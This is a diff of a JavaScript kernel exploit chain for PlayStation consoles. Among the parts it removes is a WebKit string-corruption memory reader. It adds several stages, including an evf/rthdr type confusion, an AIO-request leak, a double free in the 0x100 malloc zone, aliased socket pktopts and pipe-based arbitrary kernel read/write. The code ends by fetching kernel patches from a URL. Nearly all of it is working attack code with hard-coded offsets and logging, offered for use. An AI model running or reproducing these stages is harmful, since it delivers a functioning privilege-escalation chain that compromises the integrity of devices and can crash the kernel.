+ close(sd_pair[1]);
+ const sd = sd_pair[0];
+ const buf = new Buffer(0x80 * leak_len);
- read8_at(offset) {
- return this.rstr.charCodeAt(offset);
- }
-
- read32_at(offset) {
- const str = this.rstr;
- return (
- str.charCodeAt(offset)
- | str.charCodeAt(offset + 1) << 8
- | str.charCodeAt(offset + 2) << 16
- | str.charCodeAt(offset + 3) << 24
- ) >>> 0;
- }
-
- read64_at(offset) {
- return sread64(this.rstr, offset);
- }
-
- read64(addr) {
- this.rstr_view.write64(off.strimpl_m_data, addr);
- return sread64(this.rstr, 0);
- }
-
- set_addr(addr) {
- this.rstr_view.write64(off.strimpl_m_data, addr);
- }
-
- // remember to use this to fix up the StringImpl before freeing it
- restore() {
- this.rstr_view.write64(off.strimpl_m_data, this.m_data);
- this.rstr_view.write32(off.strimpl_strlen, original_strlen);
- }
-}
-
-// we now have a double free on the fastMalloc heap
-async function make_rdr(view) {
- let str_wait = 0;
- const strs = [];
- const u32 = new Uint32Array(1);
- const u8 = new Uint8Array(u32.buffer);
- const marker_offset = original_strlen - 4;
- const pad = 'B'.repeat(marker_offset);
-
- log('start string spray');
- while (true) {
- for (let i = 0; i < num_strs; i++) {
- u32[0] = i;
- // on versions like 8.0x:
- // * String.fromCharCode() won't create a 8-bit string. so we use
- // fromCodePoint() instead
- // * Array.prototype.join() won't try to convert 16-bit strings to
- // 8-bit
- //
- // given the restrictions above, we will ensure "str" is always a
- // 8-bit string. you can check a WebKit source code (e.g. on 8.0x)
- // to see that String.prototype.repeat() will create a 8-bit string
- // if the repeated string's length is 1
- //
- // Array.prototype.join() calls JSC::JSStringJoiner::join(). it
- // returns a plain JSString (not a JSRopeString). that means we
- // have allocated a WTF::StringImpl with the proper size and whose
- // string data is inlined
- const str = [pad, String.fromCodePoint(...u8)].join('');
- strs.push(str);
+ // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
+ // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
+ log('confuse evf with rthdr');
+ let evf = null;
+ for (let i = 0; i < num_alias; i++) {
+ const evfs = [];
+ for (let i = 0; i < num_handles; i++) {
+ evfs.push(new_evf(0xf00 | i << 16));
}
- if (view.read32(off.strimpl_inline_str) === 0x42424242) {
- view.write32(off.strimpl_strlen, 0xffffffff);
+ get_rthdr(sd, buf, 0x80);
+ // for simplicity, we'll assume i < 2**16
+ const flags32 = buf.read32(0);
+ evf = evfs[flags32 >>> 16];
+
+ set_evf_flags(evf, flags32 | 1);
+ get_rthdr(sd, buf, 0x80);
+
+ if (buf.read32(0) === flags32 | 1) {
+ evfs.splice(flags32 >> 16, 1);
+ } else {
+ evf = null;
+ }
+
+ for (const evf of evfs) {
+ free_evf(evf);
+ }
+
+ if (evf !== null) {
+ log(`confused rthdr and evf at attempt: ${i}`);
+ break;
+ }
+ }
+
+ if (evf === null) {
+ die('failed to confuse evf and rthdr');
+ }
+
+ set_evf_flags(evf, 0xff << 8);
+ get_rthdr(sd, buf, 0x80);
+
+ // fields we use from evf (number before the field is the offset in hex):
+ // struct evf:
+ // 0 u64 flags
+ // 28 struct cv cv
+ // 38 TAILQ_HEAD(struct evf_waiter) waiters
+
+ // evf.cv.cv_description = "evf cv"
+ // string is located at the kernel's mapped ELF file
+ const kernel_addr = buf.read64(0x28);
+ log(`"evf cv" string addr: ${kernel_addr}`);
+ // because of TAILQ_INIT(), we have:
+ //
+ // evf.waiters.tqh_last == &evf.waiters.tqh_first
+ //
+ // we now know the address of the kernel buffer we are leaking
+ const kbuf_addr = buf.read64(0x40).sub(0x38);
+ log(`kernel buffer addr: ${kbuf_addr}`);
+
+ // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100
+ // allocate reqs1 arrays at 0x100 malloc zone
+ const num_elems = 6;
+ // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of
+ // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket
+ // field
+ const ucred = kbuf_addr.add(4);
+
+ const leak_reqs = make_reqs1(num_elems);
+ const leak_reqs_p = leak_reqs.addr;
+ leak_reqs.write64(0x10, ucred);
+
+ const leak_ids_len = num_handles * num_elems;
+ const leak_ids = new View4(leak_ids_len);
+ const leak_ids_p = leak_ids.addr;
+
+ log('find aio_entry');
+ let reqs2_off = null;
+ loop: for (let i = 0; i < num_leaks; i++) {
+ get_rthdr(sd, buf);
+
+ spray_aio(
+ num_handles,
+ leak_reqs_p,
+ num_elems,
+ leak_ids_p,
+ true,
+ AIO_CMD_WRITE,
+ );
+
+ get_rthdr(sd, buf);
+ for (let off = 0x80; off < buf.length; off += 0x80) {
+ if (verify_reqs2(buf, off)) {
+ reqs2_off = off;
+ log(`found reqs2 at attempt: ${i}`);
+ break loop;
+ }
+ }
+
+ free_aios(leak_ids_p, leak_ids_len);
+ }
+ if (reqs2_off === null) {
+ die('could not leak a reqs2');
+ }
+ log(`reqs2 offset: ${hex(reqs2_off)}`);
+
+ get_rthdr(sd, buf);
+ const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
+ log('leaked aio_entry:');
+ hexdump(reqs2);
+
+ const reqs1_addr = new Long(reqs2.read64(0x10));
+ log(`reqs1_addr: ${reqs1_addr}`);
+ reqs1_addr.lo &= -0x100;
+ log(`reqs1_addr: ${reqs1_addr}`);
+
+ log('searching target_id');
+ let target_id = null;
+ let to_cancel_p = null;
+ let to_cancel_len = null;
+ for (let i = 0; i < leak_ids_len; i += num_elems) {
+ aio_multi_cancel(leak_ids_p.add(i << 2), num_elems);
+
+ get_rthdr(sd, buf);
+ const state = buf.read32(reqs2_off + 0x38);
+ if (state === AIO_STATE_ABORTED) {
+ log(`found target_id at batch: ${i / num_elems}`);
+
+ target_id = new Word(leak_ids[i]);
+ leak_ids[i] = 0;
+ log(`target_id: ${hex(target_id)}`);
+
+ const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
+ log('leaked aio_entry:');
+ hexdump(reqs2);
+
+ const start = i + num_elems;
+ to_cancel_p = leak_ids.addr_at(start);
+ to_cancel_len = leak_ids_len - start;
+ break;
+ }
+ }
+ if (target_id === null) {
+ die('target_id not found');
+ }
+
+ cancel_aios(to_cancel_p, to_cancel_len);
+ free_aios2(leak_ids_p, leak_ids_len);
+
+ return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf];
+}
+
+// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
+
+function make_aliased_pktopts(sds) {
+ const tclass = new Word();
+ for (let loop = 0; loop < num_alias; loop++) {
+ for (let i = 0; i < num_sds; i++) {
+ tclass[0] = i;
+ ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ }
+
+ for (let i = 0; i < sds.length; i++) {
+ gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if (marker !== i) {
+ log(`aliased pktopts at attempt: ${loop}`);
+ const pair = [sds[i], sds[marker]];
+ log(`found pair: ${pair}`);
+ sds.splice(marker, 1);
+ sds.splice(i, 1);
+ // add pktopts to the new sockets now while new allocs can't
+ // use the double freed memory
+ for (let i = 0; i < 2; i++) {
+ const sd = new_socket();
+ ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ sds.push(sd);
+ }
+
+ return pair;
+ }
+ }
+
+ for (let i = 0; i < num_sds; i++) {
+ setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ }
+ }
+ die('failed to make aliased pktopts');
+}
+
+function double_free_reqs1(
+ reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
+) {
+ const max_leak_len = (0xff + 1) << 3;
+ const buf = new Buffer(max_leak_len);
+
+ const num_elems = max_aio_ids;
+ const aio_reqs = make_reqs1(num_elems);
+ const aio_reqs_p = aio_reqs.addr;
+
+ const num_batches = 2;
+ const aio_ids_len = num_batches * num_elems;
+ const aio_ids = new View4(aio_ids_len);
+ const aio_ids_p = aio_ids.addr;
+
+ log('start overwrite rthdr with AIO queue entry loop');
+ let aio_not_found = true;
+ free_evf(evf);
+ for (let i = 0; i < num_clobbers; i++) {
+ spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p);
+
+ if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) {
+ log(`aliased at attempt: ${i}`);
+ aio_not_found = false;
+ cancel_aios(aio_ids_p, aio_ids_len);
break;
}
- strs.length = 0;
- gc();
- await sleep();
- str_wait++;
+ free_aios(aio_ids_p, aio_ids_len);
}
- log(`JSString reused memory at loop: ${str_wait}`);
-
- const idx = view.read32(off.strimpl_inline_str + marker_offset);
- log(`str index: ${hex(idx)}`);
- log('view:');
- log(view);
-
- // versions like 8.0x have a JSC::JSString that have their own m_length
- // field. strings consult that field instead of the m_length of their
- // StringImpl
- //
- // we work around this by passing the string to Error.
- // ErrorInstance::create() will then create a new JSString initialized from
- // the StringImpl of the message argument
- const rstr = Error(strs[idx]).message;
- log(`str len: ${hex(rstr.length)}`);
- if (rstr.length === 0xffffffff) {
- log('confirmed correct leaked');
- const addr = (
- view.read64(off.strimpl_m_data)
- .sub(off.strimpl_inline_str)
- );
- log(`view's buffer address: ${addr}`);
- return new Reader(rstr, view);
- }
- die("JSString wasn't modified");
-}
-
-// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
-// of JSValues whose size is ssv_len. the undefined constant is automatically
-// added due to reasons such as "undefined is returned by default if the
-// function exits without returning anything"
-const cons_len = ssv_len - 8*5;
-const bt_offset = 0;
-const idx_offset = ssv_len - 8*3;
-const strs_offset = ssv_len - 8*2;
-const src_part = (() => {
- // we user var instead of let/const since such variables always get
- // initialized to the NULL JSValue even if you immediately return. we will
- // make functions that do as little as possible in order to speed up the
- // exploit. m_constantRegisters will still contain the unused constants
- //
- // function foo() {
- // return;
- // let a = 1;
- // }
- //
- // the resulting bytecode:
- // bb#1
- // [ 0] enter
- // [ 1] get_scope loc4
- // [ 3] mov loc5, loc4
- // [ 6] check_traps
- // // this part still initializes a with the NULL JSValue
- // [ 7] mov loc6, (const0)
- // [ 10] ret Undefined(const1)
- // Successors: [ ]
- //
- // bb#2
- // [ 12] mov loc6, Int32: 1(const2)
- // [ 15] ret Undefined(const1)
- // Successors: [ ]
- //
- //
- // Constants:
- // k0 =
- // k1 = Undefined
- // k2 = Int32: 1: in source as integer
- let res = 'var f = 0x11223344;\n';
- // make unique constants that won't collide with the possible marker values
- for (let i = 0; i < cons_len; i += 8) {
- res += `var a${i} = ${num_leaks + i};\n`;
- }
- return res;
-})();
-
-async function leak_code_block(reader, bt_size) {
- const rdr = reader;
- const bt = [];
- // take into account the cell and indexing header of the immutable
- // butterfly
- for (let i = 0; i < bt_size - 0x10; i += 8) {
- bt.push(i);
+ if (aio_not_found) {
+ die('failed to overwrite rthdr');
}
- // cache the global variable resolution
- const slen = ssv_len;
+ const reqs2 = new Buffer(0x80);
+ const rsize = build_rthdr(reqs2, reqs2.size);
+ // .ar2_ticket
+ reqs2.write32(4, 5);
+ // .ar2_info
+ reqs2.write64(0x18, reqs1_addr);
+ // craft a aio_batch using the end portion of the buffer
+ const reqs3_off = 0x28;
+ // .ar2_batch
+ reqs2.write64(0x20, kbuf_addr.add(reqs3_off));
- const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
- const part = bt_part + src_part;
- const cache = [];
- for (let i = 0; i < num_leaks; i++) {
- cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
+ // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo
+ // safe since free_queue_entry() doesn't deref the pointer
+ reqs2.write32(reqs3_off, 1);
+ reqs2.write32(reqs3_off + 4, 0);
+ // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue
+ reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE);
+ reqs2[reqs3_off + 0xc] = 0;
+ // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding)
+ // safe since the entry already got dequeued
+ //
+ // .ar3_lock.lock_object.lo_flags = (
+ // LO_SLEEPABLE | LO_UPGRADABLE
+ // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS
+ // | 6 << LO_CLASSSHIFT
+ // | LO_INITIALIZED
+ // )
+ reqs2.write32(reqs3_off + 0x28, 0x67b0000);
+ // .ar3_lock.lk_lock = LK_UNLOCKED
+ reqs2.write64(reqs3_off + 0x38, 1);
+
+ const states = new View4(num_elems);
+ const states_p = states.addr;
+ const addr_cache = [aio_ids_p];
+ for (let i = 1; i < num_batches; i++) {
+ addr_cache.push(aio_ids_p.add((i * num_elems) << 2));
}
- const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB;
- const smallPageSize = 4 * KB;
- const search_addr = align(rdr.m_data, chunkSize);
- log(`search addr: ${search_addr}`);
-
- log(`func_src:\n${cache[0]}\nfunc_src end`);
- log('start find CodeBlock');
- let winning_off = null;
- let winning_idx = null;
- let winning_f = null;
- let find_cb_loop = 0;
- // false positives
- let fp = 0;
- rdr.set_addr(search_addr);
- loop: while (true) {
- const funcs = [];
- for (let i = 0; i < num_leaks; i++) {
- const f = Function(cache[i]);
- // the first call allocates the CodeBlock
- f();
- funcs.push(f);
+ log('start overwrite AIO queue entry with rthdr loop');
+ let req_id = null;
+ close(sd);
+ sd = null;
+ loop: for (let i = 0; i < num_alias; i++) {
+ for (const sd of sds) {
+ set_rthdr(sd, reqs2, rsize);
}
- for (let p = 0; p < chunkSize; p += smallPageSize) {
- for (let i = p; i < p + smallPageSize; i += slen) {
- if (rdr.read32_at(i + 8) !== 0x11223344) {
- continue;
- }
+ for (let batch = 0; batch < addr_cache.length; batch++) {
+ states.fill(-1);
+ aio_multi_cancel(addr_cache[batch], num_elems, states_p);
- rdr.set_addr(rdr.read64_at(i + strs_offset));
- const m_type = rdr.read8_at(5);
- // make sure we're not reading the constant registers of an
- // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
- // CodeBlock converts those to JSArrays
- if (m_type !== 0) {
- rdr.set_addr(search_addr);
- winning_off = i;
- winning_idx = rdr.read32_at(i + idx_offset);
- winning_f = funcs[winning_idx];
- break loop;
+ const req_idx = states.indexOf(AIO_STATE_COMPLETE);
+ if (req_idx !== -1) {
+ log(`req_idx: ${req_idx}`);
+ log(`found req_id at batch: ${batch}`);
+ log(`states: ${[...states].map(e => hex(e))}`);
+ log(`states[${req_idx}]: ${hex(states[req_idx])}`);
+ log(`aliased at attempt: ${i}`);
+
+ const aio_idx = batch*num_elems + req_idx;
+ req_id = new Word(aio_ids[aio_idx]);
+ log(`req_id: ${hex(req_id)}`);
+ aio_ids[aio_idx] = 0;
+
+ // set .ar3_done to 1
+ poll_aio(req_id, states);
+ log(`states[${req_idx}]: ${hex(states[0])}`);
+ for (let i = 0; i < num_sds; i++) {
+ const sd2 = sds[i];
+ get_rthdr(sd2, reqs2);
+ const done = reqs2[reqs3_off + 0xc];
+ if (done) {
+ hexdump(reqs2);
+ sd = sd2;
+ sds.splice(i, 1);
+ free_rthdrs(sds);
+ sds.push(new_socket());
+ break;
+ }
}
- rdr.set_addr(search_addr);
- fp++;
+ if (sd === null) {
+ die("can't find sd that overwrote AIO queue entry");
+ }
+ log(`sd: ${sd}`);
+
+ break loop;
+ }
+ }
+ }
+ if (req_id === null) {
+ die('failed to overwrite AIO queue entry');
+ }
+ free_aios2(aio_ids_p, aio_ids_len);
+
+ // enable deletion of target_id
+ poll_aio(target_id, states);
+ log(`target's state: ${hex(states[0])}`);
+
+ const sce_errs = new View4([-1, -1]);
+ const target_ids = new View4([req_id, target_id]);
+ // PANIC: double free on the 0x100 malloc zone. important kernel data may
+ // alias
+ aio_multi_delete(target_ids.addr, 2, sce_errs.addr);
+
+ // we reclaim first since the sanity checking here is longer which makes it
+ // more likely that we have another process claim the memory
+ try {
+ // RESTORE: double freed memory has been reclaimed with harmless data
+ // PANIC: 0x100 malloc zone pointers aliased
+ const sd_pair = make_aliased_pktopts(sds);
+ return [sd_pair, sd];
+ } finally {
+ log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
+
+ states[0] = -1;
+ states[1] = -1;
+ poll_aio(target_ids, states);
+ log(`target states: ${hex(states[0])}, ${hex(states[1])}`);
+
+ const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
+ let success = true;
+ if (states[0] !== SCE_KERNEL_ERROR_ESRCH) {
+ log('ERROR: bad delete of corrupt AIO request');
+ success = false;
+ }
+ if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) {
+ log('ERROR: bad delete of ID pair');
+ success = false;
+ }
+
+ if (!success) {
+ die('ERROR: double free on a 0x100 malloc zone failed');
+ }
+ }
+}
+
+// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE
+
+// k100_addr is double freed 0x100 malloc zone address
+// dirty_sd is the socket whose rthdr pointer is corrupt
+// kernel_addr is the address of the "evf cv" string
+function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
+ const psd = pktopts_sds[0];
+ const tclass = new Word();
+ const off_tclass = is_ps4 ? 0xb0 : 0xc0;
+
+ const pktopts = new Buffer(0x100);
+ const rsize = build_rthdr(pktopts, pktopts.size);
+ const pktinfo_p = k100_addr.add(0x10);
+ // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
+ pktopts.write64(0x10, pktinfo_p);
+
+ log('overwrite main pktopts');
+ let reclaim_sd = null;
+ close(pktopts_sds[1]);
+ for (let i = 0; i < num_alias; i++) {
+ for (let i = 0; i < num_sds; i++) {
+ // if a socket doesn't have a pktopts, setting the rthdr will make
+ // one. the new pktopts might reuse the memory instead of the
+ // rthdr. make sure the sockets already have a pktopts before
+ pktopts.write32(off_tclass, 0x4141 | i << 16);
+ set_rthdr(sds[i], pktopts, rsize);
+ }
+
+ gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if ((marker & 0xffff) === 0x4141) {
+ log(`found reclaim sd at attempt: ${i}`);
+ const idx = marker >>> 16;
+ reclaim_sd = sds[idx];
+ sds.splice(idx, 1);
+ break;
+ }
+ }
+ if (reclaim_sd === null) {
+ die('failed to overwrite main pktopts');
+ }
+
+ const pktinfo = new Buffer(0x14);
+ pktinfo.write64(0, pktinfo_p);
+ const nhop = new Word();
+ const nhop_p = nhop.addr;
+ const read_buf = new Buffer(8);
+ const read_buf_p = read_buf.addr;
+ function kread64(addr) {
+ const len = 8;
+ let offset = 0;
+ while (offset < len) {
+ // pktopts.ip6po_nhinfo = addr + offset
+ pktinfo.write64(8, addr.add(offset));
+ nhop[0] = len - offset;
+
+ ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+ sysi(
+ 'getsockopt',
+ psd, IPPROTO_IPV6, IPV6_NEXTHOP,
+ read_buf_p.add(offset), nhop_p,
+ );
+
+ const n = nhop[0];
+ if (n === 0) {
+ read_buf[offset] = 0;
+ offset += 1;
+ } else {
+ offset += n;
+ }
+ }
+ return read_buf.read64(0);
+ }
+
+ log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
+ const kstr = jstr(read_buf);
+ log(`*(&"evf cv"): ${kstr}`);
+ if (kstr !== 'evf cv') {
+ die('test read of &"evf cv" failed');
+ }
+
+ // Only For PS4 9.00
+
+ const off_kstr = 0x7f6f27;
+ const kbase = kernel_addr.sub(off_kstr);
+ log(`kernel base: ${kbase}`);
+
+ log('\nmaking arbitrary kernel read/write');
+ const cpuid = 7 - main_core;
+ const off_cpuid_to_pcpu = 0x21ef2a0;
+ const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
+ log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
+ const pcpu = kread64(pcpu_p);
+ log(`pcpu: ${pcpu}`);
+ log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`);
+ // __pcpu[cpuid].pc_curthread
+ const td = kread64(pcpu);
+ log(`td: ${td}`);
+
+ const off_td_proc = 8;
+ const proc = kread64(td.add(off_td_proc));
+ log(`proc: ${proc}`);
+ const pid = sysi('getpid');
+ log(`our pid: ${pid}`);
+ const pid2 = kread64(proc.add(0xb0)).lo;
+ log(`suspected proc pid: ${pid2}`);
+ if (pid2 !== pid) {
+ die('process not found');
+ }
+
+ const off_p_fd = 0x48;
+ const p_fd = kread64(proc.add(off_p_fd));
+ log(`proc.p_fd: ${p_fd}`);
+ // curthread->td_proc->p_fd->fd_ofiles
+ const ofiles = kread64(p_fd);
+ log(`ofiles: ${ofiles}`);
+
+ const off_p_ucred = 0x40;
+ const p_ucred = kread64(proc.add(off_p_ucred));
+ log(`p_ucred ${p_ucred}`);
+
+ const pipes = new View4(2);
+ sysi('pipe', pipes.addr);
+ const pipe_file = kread64(ofiles.add(pipes[0] * 8));
+ log(`pipe file: ${pipe_file}`);
+ // ofiles[pipe_fd].f_data
+ const kpipe = kread64(pipe_file);
+ log(`pipe pointer: ${kpipe}`);
+
+ const pipe_save = new Buffer(0x18); // sizeof struct pipebuf
+ for (let off = 0; off < pipe_save.size; off += 8) {
+ pipe_save.write64(off, kread64(kpipe.add(off)));
+ }
+
+ const main_sd = psd;
+ const worker_sd = dirty_sd;
+
+ const main_file = kread64(ofiles.add(main_sd * 8));
+ log(`main sock file: ${main_file}`);
+ // ofiles[sd].f_data
+ const main_sock = kread64(main_file);
+ log(`main sock pointer: ${main_sock}`);
+ // socket.so_pcb (struct inpcb *)
+ const m_pcb = kread64(main_sock.add(0x18));
+ log(`main sock pcb: ${m_pcb}`);
+ // inpcb.in6p_outputopts
+ const m_pktopts = kread64(m_pcb.add(0x118));
+ log(`main pktopts: ${m_pktopts}`);
+ log(`0x100 malloc zone pointer: ${k100_addr}`);
+
+ if (m_pktopts.ne(k100_addr)) {
+ die('main pktopts pointer != leaked pktopts pointer');
+ }
+
+ // ofiles[sd].f_data
+ const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8)));
+ log(`reclaim sock pointer: ${reclaim_sock}`);
+ // socket.so_pcb (struct inpcb *)
+ const r_pcb = kread64(reclaim_sock.add(0x18));
+ log(`reclaim sock pcb: ${r_pcb}`);
+ // inpcb.in6p_outputopts
+ const r_pktopts = kread64(r_pcb.add(0x118));
+ log(`reclaim pktopts: ${r_pktopts}`);
+
+ // ofiles[sd].f_data
+ const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8)));
+ log(`worker sock pointer: ${worker_sock}`);
+ // socket.so_pcb (struct inpcb *)
+ const w_pcb = kread64(worker_sock.add(0x18));
+ log(`worker sock pcb: ${w_pcb}`);
+ // inpcb.in6p_outputopts
+ const w_pktopts = kread64(w_pcb.add(0x118));
+ log(`worker pktopts: ${w_pktopts}`);
+
+ // get restricted read/write with pktopts pair
+ // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo
+ const w_pktinfo = w_pktopts.add(0x10);
+ pktinfo.write64(0, w_pktinfo);
+ pktinfo.write64(8, 0); // clear .ip6po_nexthop
+ ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+
+ pktinfo.write64(0, kernel_addr);
+ ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+ gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+ const kstr2 = jstr(pktinfo);
+ log(`*(&"evf cv"): ${kstr2}`);
+ if (kstr2 !== 'evf cv') {
+ die('pktopts read failed');
+ }
+ log('achieved restricted kernel read/write');
+
+ // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when
+ // using pktopts write. we can safely modify a pipe even with this limit so
+ // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
+ // clobbered with zeros but that's okay
+ class KernelMemory {
+ constructor(main_sd, worker_sd, pipes, pipe_addr) {
+ this.main_sd = main_sd;
+ this.worker_sd = worker_sd;
+ this.rpipe = pipes[0];
+ this.wpipe = pipes[1];
+ this.pipe_addr = pipe_addr; // &pipe.pipe_buf
+ this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
+ this.rw_buf = new Buffer(0x14);
+ this.addr_buf = new Buffer(0x14);
+ this.data_buf = new Buffer(0x14);
+ this.data_buf.write32(0xc, 0x40000000);
+ }
+
+ _verify_len(len) {
+ if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) {
+ throw TypeError('len not a 32-bit unsigned integer');
}
}
- find_cb_loop++;
- gc();
- await sleep();
+ copyin(src, dst, len) {
+ this._verify_len(len);
+ const main = this.main_sd;
+ const worker = this.worker_sd;
+ const addr_buf = this.addr_buf;
+ const data_buf = this.data_buf;
+
+ addr_buf.write64(0, this.pipe_addr);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ data_buf.write64(0, 0);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
+
+ addr_buf.write64(0, this.pipe_addr2);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ addr_buf.write64(0, dst);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ sysi('write', this.wpipe, src, len);
+ }
+
+ copyout(src, dst, len) {
+ this._verify_len(len);
+ const main = this.main_sd;
+ const worker = this.worker_sd;
+ const addr_buf = this.addr_buf;
+ const data_buf = this.data_buf;
+
+ addr_buf.write64(0, this.pipe_addr);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ data_buf.write32(0, 0x40000000);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
+
+ addr_buf.write64(0, this.pipe_addr2);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ addr_buf.write64(0, src);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ sysi('read', this.rpipe, dst, len);
+ }
+
+ _read(addr) {
+ const buf = this.rw_buf;
+ buf.write64(0, addr);
+ buf.fill(0, 8);
+ ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
+ gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
+ }
+
+ read32(addr) {
+ this._read(addr);
+ return this.rw_buf.read32(0);
+ }
+
+ read64(addr) {
+ this._read(addr);
+ return this.rw_buf.read64(0);
+ }
+
+ write32(addr, value) {
+ this.rw_buf.write32(0, value);
+ this.copyin(this.rw_buf.addr, addr, 4);
+ }
+
+ write64(addr, value) {
+ this.rw_buf.write64(0, value);
+ this.copyin(this.rw_buf.addr, addr, 8);
+ }
}
- log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
- log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
+ const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe);
- log('CodeBlock.m_constantRegisters.m_buffer:');
- rdr.set_addr(search_addr.add(winning_off));
- for (let i = 0; i < slen; i += 8) {
- log(`${rdr.read64_at(i)} | ${hex(i)}`);
+ const kstr3_buf = new Buffer(8);
+ kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size);
+ const kstr3 = jstr(kstr3_buf);
+ log(`*(&"evf cv"): ${kstr3}`);
+ if (kstr3 !== 'evf cv') {
+ die('pipe read failed');
}
+ log('achieved arbitrary kernel read/write');
- const bt_addr = rdr.read64_at(bt_offset);
- const strs_addr = rdr.read64_at(strs_offset);
- log(`immutable butterfly addr: ${bt_addr}`);
- log(`string array passed to tag addr: ${strs_addr}`);
+ // RESTORE: clean corrupt pointer
+ // pktopts.ip6po_rthdr = NULL
+ //ABC Patch
+ const off_ip6po_rthdr = 0x68;
+ const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr);
+ const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr);
+ kmem.write64(r_rthdr_p, 0);
+ kmem.write64(w_rthdr_p, 0);
+ log('corrupt pointers cleaned');
- log('JSImmutableButterfly:');
- rdr.set_addr(bt_addr);
- for (let i = 0; i < bt_size; i += 8) {
- log(`${rdr.read64_at(i)} | ${hex(i)}`);
- }
-
- log('string array:');
- rdr.set_addr(strs_addr);
- for (let i = 0; i < off.size_jsobj; i += 8) {
- log(`${rdr.read64_at(i)} | ${hex(i)}`);
- }
-
- return [winning_f, bt_addr, strs_addr];
+ /*
+ // REMOVE once restore kernel is ready for production
+ // increase the ref counts to prevent deallocation
+ kmem.write32(main_sock, kmem.read32(main_sock) + 1);
+ kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
+ // +2 since we have to take into account the fget_write()'s reference
+ kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);*/
+
+ return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
}
-// data to write to the SerializedScriptValue
-//
-// setup to make deserialization create an ArrayBuffer with an arbitrary buffer
-// address
-function make_ssv_data(ssv_buf, view, view_p, addr, size) {
- // sizeof JSC::ArrayBufferContents
- const size_abc = (() => {
- if (is_ps4) {
- return version >= 0x900 ? 0x18 : 0x20;
- } else {
- return version >= 0x300 ? 0x18 : 0x20;
+// FUNCTIONS FOR STAGE: PATCH KERNEL
+
+async function get_patches(url) {
+ const response = await fetch(url);
+ if (!response.ok) {
+ throw Error(
+ `Network response was not OK, status: ${response.status}\n`
+ + `failed to fetch: ${url}`);
+ }
+ return response.arrayBuffer();
+}
+
+// 9.00 supported only
+async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
+ if (!is_ps4) {
+ throw RangeError('PS5 kernel patching unsupported');
+ }
+ if (!(0x800 <= version < 0x900)) {
+ throw RangeError('kernel patching unsupported');
+ }
